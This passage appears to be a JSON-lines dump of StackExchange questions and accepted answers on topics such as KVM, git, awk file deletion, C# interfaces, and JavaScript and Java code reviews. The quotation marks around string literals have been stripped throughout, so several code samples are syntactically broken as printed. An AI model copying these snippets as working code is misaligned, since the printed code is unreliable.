| 0.3 |  5 ||    11 | -0.2           | 0.6 | 33 ||    12 | 1.0            | 0.5 |  6 ||    13 | 0.0            | 0.0 |  5 ||    14 | -0.1           | 0.6 | 13 ||    15 | 0.0            | 0.4 |  4 ||    16 | -0.9           | 0.5 |  7 ||    17 | 0.2            | 0.8 |  9 ||    18 | -0.2           | 0.8 | 20 ||    19 | -1.1           | 0.7 |  9 ||    20 | -0.1           | 0.6 | 14 ||    21 | -1.1           | 0.8 | 55 ||    22 | -1.2           | 0.8 | 12 ||    23 | -0.3           | 0.5 | 12 ||    24 | -0.1           | 0.4 | 10 ||    25 | 0.6            | 0.9 | 29 |+-------+----------------+-----+----+And as a chart:If you're wondering why analyze this per shoe model at all, then the answer is that we know from shop experience that different shoe models have particular structures and materials that have of consistent effect on shoe size preference.Now to my actual question:My goal is to plug average offsets back into the prediction calculation to adjust it based on previously recorded offsets.The question is - when does it make sense to use an offset value, and when that value is unusable.I tend to disregard average offsets where the SD is close to the size of the average, but mathematically, plugging in such an average to adjust all predictions for this model is likely to do more good than harm. Or does it?What would be a good approach to decide which of these averages is useful?Suggestion for additional insights or analysis techniques are welcome."  , "title": "Adjusting predicted values based on average offsets from past predictions"  , "tags": "statistics;predictive modeling;descriptive statistics"  } 
{  "id": "_unix.350731"  , "question": "I created a serial port in VirtualBox that maps to the host socket device: /tmp/xxx. But I haven't managed to find the way to use this file for anything. I can't ssh to it, so what tool can I use to interact with it?ls -la shows it is a socket link"  , "title": "Connect to serial port of VirtualBox guest via host socket"  , "tags": "virtualbox;serial port;socket"  , "accepted_answer": "If the serial port mapped to the socket file on the host provides a serial console, you can connect to it using a control and terminal emulation program such as minicom or GTKTerm.In minicom you can specify the socket file as the device to connect using the --device|-D command line option, or in the minicom configuration file, for example:$minicom -D unix\\#/tmp/xxxIn GTKTerm the same can be achieved by modifying the Port under Configuration > Port menu."  } 
{  "id": "_softwareengineering.263977"  , "question": "A project that I am working on has the following code for interfaceexample:using System;using System.Collections.Generic;using System.Linq;using System.Text;namespace Test{    public interface IDeviceEssentials    {        string Model { get; set; }        string Manufacturer { get; set; }        string BIOSVersion { get; set; }        string TotalPhysicalMemory { get; set; }        string TotalVirtualmemory { get; set; }        string OSName { get; set; }    }}every other class implementing this interface uses Automatic properties which renders the getters and setters useless so the effective implementation is reduced tousing System;using System.Collections.Generic;using System.Linq;using System.Text;namespace Test{    public interface IDeviceEssentials    {        string Model;        string Manufacturer;        string BIOSVersion;        string TotalPhysicalMemory;        string TotalVirtualmemory;        string OSName;    }}For which simply a structure or class is enough to hold the data..The main usage of interface is polymorphism making use of liskov substitution, even though the above code is using the getter setter it is effectively reduced to variable decleration by all the classes implementing it (by using automatic property). That is there is no need i want to mock the above interface. even if it is designed as a class I can simply mock by creating new class of it.Question are :-I think the above properties are providing data representation only. is it ok to use interface only for data representation?"  , "title": "if a c# interface contain only getter and setter definition, is it a code smell?"  , "tags": "c#;object oriented;code quality"  , "accepted_answer": "No it isn't a code smell in itself. Having many implementations using only auto properties is a code smell - this is where you refactor common code into a base class and define it as virtual so that the extending class can override it where necessary.every other class implementing this interface uses Automatic properties which renders the getters and setters uselessNo, automatic properties do not render the interface definition useless. Your two illustrated interfaces are not the same - in fact the second one is illegal as you cannot define a field in an interface. Automatic properties still use getters and setters (they're inserted by the compiler), so using automatic properties satisfies the requirements of the interface. Simply declaring the field public string Model; in your implementation does not satisfy the interface.You'll see from the following image that even though I used automatic properties in the implementation there are still getters and setters implemented for me:If that still makes no sense, think of it this way: the interface defines a contract. If I later refactor my implementation so that I don't use auto properties then the interface guarantees that I expose both a getter and setter. Consuming code uses my implementation via its interface, not directly accessing the concrete implementation. This means I can refactor the implementation and the caller doesn't have to change at all."  } 
{  "id": "_cogsci.1316"  , "question": "I have experienced this phenomenon several times and checked with other people as well.It goes like this: you hear something, but it's just a sound with no meaning. Some seconds later, you consciously remember the sound and make sense out of it (like a word or a phrase that somebody tells).Although both processes (remembrance and understanding) are fairly common, I find it weird that understanding is not automatically triggered when processing a sound and it can be demanded on purposeIs there any name for this phenomenon? (Would appreciate some detail on it too.)"  , "title": "Hearing first but understanding later?"  , "tags": "terminology;memory;perception"  , "accepted_answer": "The phenomena broadly makes sense in terms of information processing models of memory and cognition.The phonological loopFor example, you could think about the phenomena in terms of a phonological loop. To Quote the Wikipedia article on Baddeley's model of working memoryThe phonological loop (or articulatory loop) as a whole deals with  sound or phonological information. It consists of two parts: a  short-term phonological store with auditory memory traces that are  subject to rapid decay and an articulatory rehearsal component  (sometimes called the articulatory loop) that can revive the memory  traces.Any auditory verbal information is assumed to enter automatically into  the phonological store. Visually presented language can be transformed  into phonological code by silent articulation and thereby be encoded  into the phonological store. This transformation is facilitated by the  articulatory control process. The phonological store acts as an 'inner  ear', remembering speech sounds in their temporal order, whilst the  articulatory process acts as an 'inner voice' and repeats the series  of words (or other speech elements) on a loop to prevent them from  decaying. The phonological loop may play a key role in the acquisition  of vocabulary, particularly in the early childhood years.[3] It may  also be vital for learning a second language.Applying this to the phenomenaIn the very short term (perhaps a few seconds), you presumably have a internal representation of the raw sound, which might if you were to attend to it afterwards be then processed into words and meaning.Alternatively, you may hear the words but not process the meaning. Presumably these words can remain represented for a little longer in your short term memory than can the raw sounds (as a very rough guess, perhaps up to 10 or 20 seconds). And then you can return to the words and process them.Another possibility is that you have basically processed the meaning of the original words, but were perhaps immediately distracted, and then a little later you remembered what was said and that you need to respond."  } 
{  "id": "_opensource.5328"  , "question": "My project about to launch to public. So I'm preparing open source credit notice page. Since my project is developed in JavaScript, there's lots of node_modules in the development directory.Here's question. Could I reference the packages only if I directly deepened in my package.json? My project referenced only 25 packages in package.json but there's 300+ packages in my node_modules/ directory.Some packages like gulp-* is referenced as devDependencies and clearly not included in the final dist of my project. So I think I could omit credit for these packages.I'm not sure about indirect referenced packages. Let say package A depends on package B and my project depends on only A. In this case my dist contains both A and B. Could I omit credit for package B?"  , "title": "Should I credit indirect depended package in my open source credit notice too?"  , "tags": "license notice;dependencies;npm"  , "accepted_answer": "You added this important comment:it's frontend project. So packages are bundled and minimized then redistributed to end user.So the answer to:Should I credit indirect depended package in my open source credit notice too?... is a clear YES.Since you are redistributing your code with directs deps, and with deps of deps, and with deps of deps of deps and ...... you have to comply with the license requirements of all the packages A.I explained in this other answer some of the specifics of dealing with package dependencies:You need to know:The whole chain of program or package dependenciesThe purpose and use of each program or package in that chain (test, tool, runtime)Which dependent are shipped and redistributed with your product, application or library vs. which may be installed by your userThe license of each dependency in this chainAnything that would not be redistributed (e.g. devDependencies in the case of npms) does not have to be included. If there is any code using some copyleft license you may have also source code redistribution requirements. And depending on the licenses and the way you integrate with these copyleft-licensed packages this requirement may extend to the tools used for minification and to possibly your own source code or other packages in the dependencies tree."  } 
{  "id": "_codereview.139061"  , "question": "I'm doing this assignment were they have told me to sort an array of objects with name and age. What do you think about my solution?Edited to take in consideration comments, Thanks for the feedback guys!var familyAgesPropName = [    { name: Raul, age: 27 },    { name: Jose, age: 55 },    { name: Maria, age: 52 },    { name: Jesus, age: 18 },    { name: Neo, age: 2 }];var familyAgesWithoutPropName = [    { Raul: 27 },    { Jose: 55 },    { Maria: 52 },    { Jesus: 18 },    { Neo: 2 }];var familyAgesWithoutPropNameMissingAge = [    { Raul: 27 },    { Jose: 55 },    { Maria: '' },    { Jesus: 18 },    { Neo: 2 }];var familyAgesWithoutPropNameMissingName = [    { Raul: 27 },    { Jose: 55 },    { 52:  },    { Jesus: 18 },    { Neo: 2 }];var familyAgesWithoutPropNameMissingNameAndNULL = [    null,    { Raul: 27 },    { Jose: 55 },    { 52:  },    { Jesus: 18 },    { Neo: 2 }];/**    @brief: cleaningAndFormatting is a function that takes the input array (that I assume can come in any way) and converts it    to a proper format that is correct for using and outputing it. The format of my choice is [{name: String, age: Int}, item2, ...]    @param: array with the data.    @notes: If the input array comes already in the desired format we can comment this function improving the performance of the process            If the name is actually a number (only digits) then we put it infront to see that we have a problem with it            If the age is empty or a string that doesn't make sense we assign 0 to put it after the problmatics**/// var cleaningAndFormatting = (function(array) {//  for (var i = array.length - 1; i >= 0; i--) {//      if (array[i].name === undefined) {//          var tempObject = {};//          for (var key in array[i]) {//              tempObject.name = key;//              tempObject.age = parseInt(array[i][key]) || 0;//              if (!isNaN(tempObject.name)) {//                  tempObject.age = -1;//              }//              if (isNaN(tempObject.age)) {//                  tempObject.age = 0;//              }//          }//          array[i] = tempObject;//      }//  }// });function cleanRow(element, index, array) {    if (element == null) {        delete array[index];        return;    }    if (element.name == undefined) {        element.name = Object.keys(element)[0];    }    if (element.age == undefined) {        element.age = element[element.name];        element.age = parseInt(element.age) || 0;    }    if (!isNaN(element.name)) {        element.age = -1;    }    delete element[element.name];}familyAgesPropName.forEach(cleanRow);console.log(familyAgesPropName);console.log(familyAgesPropName);familyAgesWithoutPropName.forEach(cleanRow);console.log(familyAgesWithoutPropName);console.log(familyAgesWithoutPropName);familyAgesWithoutPropNameMissingAge.forEach(cleanRow);console.log(familyAgesWithoutPropNameMissingAge);console.log(familyAgesWithoutPropNameMissingAge);familyAgesWithoutPropNameMissingName.forEach(cleanRow);console.log(familyAgesWithoutPropNameMissingName);console.log(familyAgesWithoutPropNameMissingName);familyAgesWithoutPropNameMissingNameAndNULL.forEach(cleanRow);console.log(familyAgesWithoutPropNameMissingNameAndNULL);console.log(familyAgesWithoutPropNameMissingNameAndNULL);/**    @brief: Manual implementation of the quicksort algorithm adapted our desired array, I've chosen do the algorithm manually because the sorting in JavaScript is    very dependant on the implementation of the engine that runs the JavaScript making it erratic and not desirable to use. For example chrome V8 engine for JavaScript    unstable.**/var quickSort = (function() {    function partition(array, left, right) {        var cmp = array[right - 1].age,            minEnd = left,            maxEnd;        for (maxEnd = left; maxEnd < right - 1; maxEnd += 1) {            if (array[maxEnd].age <= cmp) {                swap(array, maxEnd, minEnd);                minEnd += 1;            }        }        swap(array, minEnd, right - 1);        return minEnd;    }    function swap(array, i, j) {        var temp = array[i];        array[i] = array[j];        array[j] = temp;        return array;    }    function quickSort(array, left, right) {        if (left < right) {            var p = partition(array, left, right);            quickSort(array, left, p);            quickSort(array, p + 1, right);        }        return array;    }    return function(array) {        return quickSort(array, 0, array.length);    };}());quickSort(familyAgesPropName);quickSort(familyAgesWithoutPropName);quickSort(familyAgesWithoutPropNameMissingAge);quickSort(familyAgesWithoutPropNameMissingName);"  , "title": "Sort an array of name and ages in JavaScript"  , "tags": "javascript;array;sorting"  , "accepted_answer": "Based on your implementation, I have no other choice than to say welcome to JavaScript . I will point out few observationscleaningAndFormatting():null is a valid value for an object in javascript. For instance replacing one of the object with a null e.g var familyAgesPropName3 = [    null,    {name: Jose, age: 55},    {name: Maria, age: 52},    {name: Jesus, age: 18},    {name: Neo, age: 2}];will generate this errorTypeConverting Comparison (==): converts the operands to the same type before making the comparison. So undefined== null will return true as opposed to false. In Javascript, we use the strict comparison (e.g., ===) to return only true if the operands are of the same type and the contents match. You can readmore from this page Comparison OperatorsJavascript provides ForEach function which can replace the nested for..loop . I will give you a pseudocode on how to start function houseKeeping(element, index, array) {   if (element.name == undefined) {     element.name = element.age;     //  other implementations   }   //  other implementations }To use the ForEach /* Calling the foreach*/familyAgesPropName.forEach(houseKeeping);for( var key in array[i]){..} is inefficient as the loop is performed twice; key in the first iteration is name and second key. You should see your error now . tempObject.name = key; is assigned itself and after the key-Horrendous ImplementationI'm not sure of what you are trying to achieve with this line if (!isNaN(tempObject.name)) {...}.An excerpt from isNan() explains how NaN values are generated:NaN values are generated when arithmetic operations result in  undefined or unrepresentable values. Such values do not necessarily  represent overflow conditions. A NaN also results from attempted  coercion to numeric values of non-numeric values for which no  primitive numeric value is available.There was no arithmetic operation conducted on tempObject.name except tempObject.age, I doubt if that line is necessary. It would be nice if you could explain what you mean by this and I will update my answer if necessaryIf the name is actually a number (only digits) then we put it infront to see that we have a problem with itconsole.log(array);: I believe you want to return the modified array rather than printing to the console . You can replace that with return array;tempObject: you don't need to create an extra variable when you could just modify the array itselfquickSort()I just looked at your quicksort briefly. Although I will be back to give further reviews , I will leave you with a note here for nowDestructing Assignment : I'm not sure how conversant you are with this type of assignment in javascript. This will save you some coding lines meaning you don't have to have a swap function what you could do is  replaceswap(array, minEnd, right - 1);// replace witharray[minEnd, right - 1] = array [right - 1,minEnd]I will back later in the day. I hope this helps."  } 
{  "id": "_unix.33617"  , "question": "I've just set up a new machine with Ubuntu Oneiric 11.10 and then runapt-get updateapt-get upgradeapt-get install gitNow if I run git --version it tells me I have git version 1.7.5.4 but on my local machine I have the much newer git version 1.7.9.2I know I can install from source to get the newest version, but I thought that it was a good idea to use the package manager as much as possible to keep everything standardized.So is it possible to use apt-get to get a newer version of git, and what is the right way to do it?"  , "title": "How can I update to a newer version of Git using apt-get?"  , "tags": "ubuntu;apt;upgrade;git"  , "accepted_answer": "You have several options:Either wait until the version you need is present in the repository you use.Compile your own version and create a deb.Find a repository that provides the version you need for your version of your distribution(e.g. Git PPA).If you don't need any particular feature from the newer version, stay with the old one.If a newer version is available in the repositories you use, then apt-get update && apt-get upgrade (as root) updates to the latest available version."  } 
{  "id": "_webmaster.26821"  , "question": "I'm running multiple feeds of loops on my homepage much like youtube.com and I want to use AJAX to load them instead of tabbed content with jQuery. Since most of my traffic comes from posts I'd like to know how it impacts my site with Google with less crawlable links and excerpts.My question is this: How bad is it for my SEO to use AJAX to load the feeds on my homepage? Each feed contains links to new posts in different categories and I have 10 of them so loading them with jQuery Tabs adds load time but makes it all crawlable."  , "title": "Using AJAX on homepage to handle feeds, bad for SEO?"  , "tags": "seo;ajax;homepage"  , "accepted_answer": "Isn't the AJAX simply loading html into your page? So it's not like the search engines won't recognize the content.Having dynamic content on your home page isn't new or bad. As you pointed out youtube.com as well as Digg.com are constantly updating their content and plenty of other sites for that matter.It's actually good to have fresh content on your home page they'll recognize the page as being updated recently and begin crawling it more. That may or may not affect your rankings but they should crawl it more often with fresh content."  } 
{  "id": "_softwareengineering.157039"  , "question": "After a system has gone through many migrations, and evolved enough for a second version, does it make sense to keep the old migrations around? I mean, old versions will use them to upgrade to the new one, sure, but should a fresh install have its database go through all the historical changes before arriving at the current shape? My gut feeling is that a fresh install should create the database as it is, not go through every mistake that was made in the product lifecycle until reaching a stable condition.I've recently asked a question on SO about splitting a django app into multiple ones. Problem is: after I've done that I'll never be able to remove the old app, since the other ones' past migrations still refer to it, and would break without it, even if the current version of my project does not use it anymore. OTOH if I rewrote the history in a major update I could pretend that the broken app never existed in the first place, which I believe would make the code cleaner (past revisions would still exist in version control though).The above scenario is just an example, but I'm interested in arguments about the general case: have fresh installs create the database as it is, or go through every migration ever done in the product lifecycle?"  , "title": "Keeping historical migrations in Django-south"  , "tags": "database;django;migration"  , "accepted_answer": "Yes, it's a good idea to clean up migration history. Having numerous migrations is really error prone. So it's good idea to make the current state of your servers into the new initial migration. "  } 
{  "id": "_codereview.14330"  , "question": "If I have an array:var names = ['John', 'Jim', 'Joe'];and I want to create a new array from names which afterwards will look like:newNames = ['John John', 'Jim Jim', 'Joe Joe']What I came up with is the following:var newNames = [];var arr = null;var loop = 0;$.each(names, function (i, item) {  arr = [];  loop = 2;  while (loop--) {    arr.push(item);  }  newNames.push(arr.join(' '));});Seems like there should be a shorter, easier way to do this. As you can see we can repeat the names with a space n times. I'm experimenting with different ideas/concepts, having fun."  , "title": "Javascript Array processing"  , "tags": "javascript;jquery"  , "accepted_answer": "Create a function that operates on values in the manner you want...function dupe(n) { return n +   + n }then use Array.prototype.map...var newNames = names.map(dupe)or jQuery's not quite compliant version, $.map...var newNames = $.map(names, dupe)You can also create a function factory that will make a dupe function that will add the operate on the value a given number of times.function dupeFactory(i) {    return function(n) {        var j = i-1        ,   m = n        while (j--)            m +=   + n        return m    }}Then use it like this...var newNames = names.map(dupeFactory(3))Or make reuse of the functions created from the factory, by storing them in variables...var dupe3 = dupeFactory(3),    dupe6 = dupeFactory(6)names.map(dupe6)"  } 
{  "id": "_scicomp.20182"  , "question": "I was reading about Petrov-Galerkin Enrichment Method for Darcy equations. Here are a couple papers that discuss this in detail:A PetrovGalerkin enriched method: A mass conservative finite element method for the Darcy equation.A Symmetric Nodal Conservative Finite Element Method for the Darcy Equation.However, I am not sure I understand what they are doing completely and would like some help understanding how they are constructing these multiscale or enrichment functions.From what I understand, it seems they are enriching the $P_1$ velocity by an $RT_0$, but what exactly does this mean? Specifically, what is meant when they correct edge residuals? Because I would like to implement this in something like FEniCS (if possible) but in order to do that I need to understand this method completely."  , "title": "Petrov-Galerkin enrichment method for Darcy equation"  , "tags": "finite element;fenics"  } 
{  "id": "_webmaster.5718"  , "question": "I have set up a new drupal site, and I have added an Image field to the default content type story using CCK and ImageField. This issue is that I can view the images when logged into my admin account, but when I try to view the images when logged out (like most, if not all viewers of this site would be), they don't appear.I have check permissions and I can't find anything that looks like the problem.Thanks!"  , "title": "Pictures are not displaying to anonymous users on Drupal, using ImageField!"  , "tags": "drupal"  } 
{  "id": "_codereview.36643"  , "question": "Enter risk!This program will roll dice for the game of Risk. The initial input is two numbers separated by a space and if the attackers wish to do a blitz they can add one more space and an ! to get a positive attack modifier but are committed for an all or nothing fight.package riskdieroll;import java.awt.Component;import java.util.Arrays;import java.util.Collections;import javax.swing.JOptionPane;public class RiskDieRoll {    private static Component frame;    public static void main(String[] args)     {        int spcCnt, atck1, dfnc1, rollCnt, atck2 = 0, dfnc2 = 0, valHold, atckMod;        String intInpt, Lsr;        while(true)        {            boolean k = false;            Lsr = ;            intInpt = JOptionPane.showInputDialog(Please enter the a                    + mount of attackers then the number of\\ndefenders separa                    + ted by a space., atck2 +   + dfnc2);            spcCnt = rollCnt = 0;            valHold = intInpt.length();            atckMod = 6;            if(0 0.equals(intInpt))            {                break;            }            for(int i = 0; intInpt.charAt(i) != ' '; i++)            {                spcCnt++;            }            atck2 = atck1 = (int)Double.parseDouble(intInpt.substring(0 , spcCnt));            if(intInpt.charAt(valHold - 1) == '!')            {                k = true;                atckMod = 7;                valHold -= 2;            }            dfnc2 = dfnc1 = (int)Double.parseDouble(intInpt.substring(spcCnt + 1 , valHold));            Integer[] z = new Integer[3], y = new Integer[2];            if(atck1 < 2)            {                JOptionPane.showMessageDialog(frame, INVALID ATTACK! You need                        +  at least two armys to make an attack!);                atck2 = dfnc2 = 0;            }            else if(dfnc1 < 1)            {                JOptionPane.showMessageDialog(frame, INVALID INPUT! There must                        +  be at least one defending army!);                atck2 = dfnc2 = 0;            }            else            {                do                {                    rollCnt = 0;                    for(int i = 0; i < 3; i++)                    {                        z[i] = (int)Math.ceil(Math.random() * atckMod);                    }                    for(int i = 0; i < 2; i++)                    {                        y[i] = (int)Math.ceil(Math.random() * 6);                    }                    Arrays.sort(z, Collections.reverseOrder());                    Arrays.sort(y, Collections.reverseOrder());                    while(dfnc2 > 0 && rollCnt < 2 && atck2 > 1)                    {                        if(y[rollCnt] >= z[rollCnt])                        {                            atck2--;                        }                        else                        {                            dfnc2--;                        }                        rollCnt++;                    }                }while(k && (dfnc2 > 0 && atck2 > 1));                if(dfnc2 < 1)                {                    Lsr = \\n\\nDefenders have lost!!;                }                else if(atck2 < 2)                {                        Lsr = \\n\\nAttackers have been repelled!!!;                }                JOptionPane.showMessageDialog(frame, Attacking force now at                          + atck2 +  (Lost  + (atck1 - atck2) + ) + \\nDefence force now                         + at  + dfnc2 +  (Lost  + (dfnc1 - dfnc2) + ) + Lsr);                if(!.equals(Lsr))                {                    atck2 = dfnc2 = 0;                     }            }        }    }}"  , "title": "Possible improvements to Risk board game?"  , "tags": "java;game;dice;battle simulation"  , "accepted_answer": "This code turned out to be a great exercise in refactoring, primarily usingExtract MethodReduce Scope of VariableExtract ClassIntroduce Explaining VariableSelf Encapsulate FieldHere's my goal:public class RiskDieRoller{    //////////////////////////////////////////////////////////////////////    private static class Strength    {        public int attack;        public int defence;        public int attackMod = 6;        public Strength() {}        public Strength(Strength other)        {            this.attack = other.attack;            this.defence = other.defence;            this.attackMod = other.attackMod;        }        public void blitz()        {            this.attackMod = 7;        }        public boolean isBlitz()        {            return this.attackMod == 7;        }        public String toString()        {            return Attack  + this.attack +                    Defence  + this.defence +                    AttackMod  + this.attackMod;        }    }    //////////////////////////////////////////////////////////////////////    //     public static void main(String[] args)     {        RiskDieRoller roller = new RiskDieRoller();        Strength before = new Strength();        while (null != (before = roller.prompt(before)))        {            Strength after = roller.play(before);            boolean isDecisive = roller.report(before, after);            before = isDecisive ? new Strength() : after;        }    }}I've renamed the class to RiskDieRoller and introduced a Strength class to help tame the proliferation of variables.  The main() function just outlines how the program flows.It's now just a simple matter of filling in the blanks. PromptYou failed to handle the Cancel button  a NullPointerException occurs.  You handle 0 0 as a special case, but what if there is gratuitous extra whitespace?  Also, if the exclamation mark is not preceded by a space, then Double.parseDouble() barfs.  Anyway, you should be calling Integer.parseInt() instead.In any case, analyzing the string character by character is tedious, error prone, and unforgiving of variations in the user-provided input.   Just use a regular expression.private static final Pattern INPUT_RE =    Pattern.compile(^\\\\s*(\\\\d+)\\\\s+(\\\\d+)\\\\s*(!)?\\\\s*$);public Strength prompt(Strength before){    do    {        String input = JOptionPane.showInputDialog(Please enter the                 + number of attackers then the number of\\ndefenders                 + separated by a space.,                before.attack +   + before.defence);        if (null == input)        {            return null;        }        Matcher matcher = INPUT_RE.matcher(input);        if (matcher.matches())        {            Strength s = new Strength();            s.attack = Integer.parseInt(matcher.group(1));            s.defence = Integer.parseInt(matcher.group(2));            if (null != matcher.group(3))            {                s.blitz();            }            if (s.attack == 0 && s.defence == 0)            {                return null;            }            if (s.attack <= 1)            {                output(INVALID ATTACK! You need                        +  at least two armies to make an attack!);            }            else if (s.defence <= 0)            {                output(INVALID INPUT! There must                        +  be at least one defending army!);            }            else            {                return s;            }        }    } while (true); // Repeat until input passes validation}private void output(String message){    JOptionPane.showMessageDialog(null, message);}It's not necessary to have a null Component instance variable; you can just pass a literal null to .showMessageDialog().PlayThis part of the code is more or less the same as before, but with nicer variable names.  I've changed (int)Math.ceil(Math.random() * ) to Random.nextInt().private Random random = new Random();public Strength play(Strength before){    Strength s = new Strength(before); // Return a copy    Integer[] attackRolls = new Integer[3],              defenceRolls = new Integer[2];    do    {        for (int i = 0; i < 3; i++)        {            attackRolls[i] = 1 + random.nextInt(s.attackMod);        }        for (int i = 0; i < 2; i++)        {            defenceRolls[i] = 1 + random.nextInt(6);        }        Arrays.sort(attackRolls, Collections.reverseOrder());        Arrays.sort(defenceRolls, Collections.reverseOrder());        for (int rollCnt = 0; rollCnt < 2; rollCnt++)        {            if (s.defence <= 0 || s.attack <= 1)            {                return s;            }            if (defenceRolls[rollCnt] >= attackRolls[rollCnt])            {                s.attack--;            }            else            {                s.defence--;            }        }    } while (s.isBlitz())    return s;}Strictly speaking, you don't have to add 1 to .nextInt(), but it's more human-friendly to do so.ReportAgain, the main difference is in the management of variables.  This function now has to return true if the battle was decisive.  Arguably, that violates the single-responsibility principle, and could be improved further.In your original code, you checked for dfnc2 > 0 to continue the battle and dfnc2 < 1 to report annihilation of the defenders.  I've changed this to s.defence <= 0 to check for termination of the battle and after.defence <= 0 to report annihilation, so that the similarity is apparent.I think String.format() is more readable than concatenation.public boolean report(Strength before, Strength after){    String verdict = (after.defence <= 0) ?                        \\n\\nDefenders have lost!! :                     (after.attack <= 1)  ?                        \\n\\nAttackers have been repelled!!! : ;    output(String.format(Attacking force now at %d (Lost %d)\\n +                         Defence force now at %d (Lost %d) +                         %s,                         after.attack,                         before.attack - after.attack,                         after.defence,                         before.defence - after.defence,                         verdict));    return !verdict.isEmpty();}Nitpicksarmys  armiesa + mount of attackers  number of attackers (because it's a countable noun)"  } 
{  "id": "_unix.37052"  , "question": "I have the following files in a directory:-rw-r--r-- 1 smsc sys  46 Apr 22 12:09 bills.50.1.3G.MO.X.20120422120453.Z-rw-r--r-- 1 smsc sys  28 Apr 22 12:15 bills.50.1.3G.MO.X.20120422120953.Z-rw-r--r-- 1 smsc sys  46 Apr 22 12:20 bills.50.1.3G.MO.X.20120422121453.Z-rw-r--r-- 1 smsc sys  46 Apr 22 12:25 bills.50.1.3G.MO.X.20120422121953.ZWhere the fifth column is the file's size. I wish to delete all files which size is 46. In order to filter out these files I used the following command:ls -ltr | awk '$5 ~ /46/ {print $0}'Which works fine. But now I want to delete all files which were filtered out, so I add the following to the above command:ls -ltr | awk '$5 ~ /46/ {print $0}' | xargs rmHowever it gives me the following error:rm: invalid option -- wIt seems that I have to use find over ls so I will get the output in the below format:./bills.50.1.3G.MO.X.20120421050453.Z./bills.50.1.3G.MO.X.20120421154953.Z./bills.50.1.3G.MO.X.20120419133452.ZBut then I have no way to filter the files by its parameters.How this task could be done?"  , "title": "How to delete files filtered out by awk"  , "tags": "find;awk;xargs"  , "accepted_answer": "You have two bugs:You are comparing for a size that contains 46; you want it to be equal to 46.You are printing the entire line, when you want only the filename.And an additional issue:  what is the point of -ltr to sort the ls output when you aren't using the sort order?You want to do something likels -l | awk '$5 == 46 {print $9}' | xargs rmExcept you don't want to do that, because while it might be safe at the moment, parsing ls output is unreliable.  Use an appropriate tool such asfind . -maxdepth 1 -size 46c -delete # requires GNU find(Doing this portably is more annoying, since POSIX find doesn't have -maxdepth or -size that operates in units other than blocks.  Better to write a script in a Perl/Python/Ruby/etc. that can use a proper directory scan that won't get in trouble with special characters in filenames.)"  } 
{  "id": "_unix.189087"  , "question": "I have a HP Compaq 8200 PC with Intel i5 CPU. I have enabled VT-x in BIOS:..and CPU supports VT-x as it has vmx flag present in /proc/cpuinfo. I have loaded the kvm LKM:root@VM-host:~# modprobe -v kvminsmod /lib/modules/3.2.0-4-686-pae/kernel/arch/x86/kvm/kvm.ko root@LS15-C-LAB-VM-host:~# lsmod | grep kvmkvm                   239136  0 root@VM-host:~# ..but if I executed qemu with -enable-kvm option, it complained that:Could not access KVM kernel module: No such file or directoryfailed to initialize KVM: No such file or directoryNo accelerator found!/dev/kvm file was is indeed missing:root@VM-host:~# ls -l /dev/kvmls: cannot access /dev/kvm: No such file or directoryroot@VM-host:~# Once I installed the qemu-kvm package, I was able to start the qemu with -enable-kvm option. As I had understood, kvm support is merged into qemu and all that is needed for qemu is kvm LKM. Why is qemu-kvm package needed in Debian Wheezy when running qemu with -enable-kvm option?"  , "title": "Why is qemu-kvm needed in Debian Wheezy when running qemu with -enable-kvm option?"  , "tags": "kvm;qemu"  , "accepted_answer": "qemu-kvm was indeed merged into QEMU, but that happened in version 1.3. Debian Wheezy ships QEMU 1.1.2 which still needs qemu-kvm for KVM support."  } 
{  "id": "_webmaster.26066"  , "question": "I'm new to iPad application development, but I am an experienced Web application developer in ASP.net. I want to develop fine applications for the iPad, but I want to learn from scratch.Please suggest me some online tutorial links or guide me through the right path for starting and learning development faster. I have less time and have to learn and develop more."  , "title": "Creating iPad applications faster"  , "tags": "iphone"  } 
{  "id": "_unix.2510"  , "question": "I've got an old VAXstation 3100 Model 76, and I'd like to install OpenBSD/vax 4.7 on it.I've got two drives in it, an RZ23 (104MB) and a another 1.09GB. Now, since the 1.09GB is too large for an operating system to boot from (VAXen have that magical 1.072GB boundary), I'd like to use the 104MB drive as / partition, and all other partitions, including swap should go on to the other drive.But how do I do this with the OpenBSD install, since it lets me chose one disk only?I tried installing NetBSD/vax 5.0.2 beforehand, but sysinst segfaults right after I give the OK to install the sets.The VAXstation has the both hard drives I mentioned above and 16MB RAM (which I'd like to expand some day). The machine is otherwise in perfect working order, expect the NVRAM and RTC don't work any more, I'll change them (new chip is already ordered).In case you'd advice another OS (aside from OpenVMS), you might give me hints here, too."  , "title": "How to install OpenBSD/vax 4.7 on multiple disks?"  , "tags": "openbsd;netbsd;vax"  , "accepted_answer": "Are you sure it only lets you use one disk?It asks you for a root disk to install the bootloader. You should select the smaller disk and select manual partitioning. Read the manual for disk label or, if you know what you are doing, the installer help.After you set this disk up, other disks should be offered for setup in a list. Enter the name of the correct disk and follow on to disklabel and add the remaining partitions in that disk.I've only ever used the emulated VAX in simh, but I doubt there is any difference as long as both disks are actually detected correctly."  } 
{  "id": "_scicomp.27590"  , "question": "I have written Poisson solvers using two different methods: A classic Jacobi scheme and one using the multigrid solver Hypre. I made up a couple of test cases ensuring the validity of those solvers.For both cases the domain is defined as $(x,y) \\in [-1,1]^2$ with periodic boundary conditions. Also, the grids first and last point are the same:$$p(0,y) = p(N_x-1,y)$$$$p(x,0) = p(x,N_y-1)$$Test case 1$f_{rhs} = -8 \\pi^2 \\sin(2\\pi x) \\sin(2\\pi y)$$p_{exact} = \\sin(2\\pi x) \\sin(2\\pi y)$For both solvers, the solution is 2$^{\\mathrm{nd}}$ order accurate is space. No problems here so far.Test Case 2$p_{rhs} = e^{-10 (x^2 + y^2)}$$p_{exact}:$ No analytical solution, and therefore the numerical solution is differentiated using a high-order compact scheme and compared to $p_{rhs}$Note that in this case, $\\int_V p_{rhs}dV  \\neq 0$ and therefore the problem is ill defined. Therefore, the $rhs$ must be modified:$p_{rhs} = e^{-10 (x^2 + y^2)} - \\dfrac{\\int_D e^{-10 (x^2 + y^2)} dx dy}{V}$where $V$ is the domain volume. The integral is computed using the Trapezoidal rule.This is where things get tricky. No matter how fine my grid is, $\\left(p_{num}\\right)_{xx} + \\left(p_{num}\\right)_{yy}$ never converge to $p_{rhs}$. When the grid is fine enough, the solvers converge, but the solution is off by ~20% while the overall profiles are relatively correct. When the grid is coarse, the Hypre solver simply diverges.QuestionHave I missed anything? Is my approach inconsistent/wrong? "  , "title": "Convergence problem for Poisson equation with periodic BC"  , "tags": "convergence;poisson"  } 
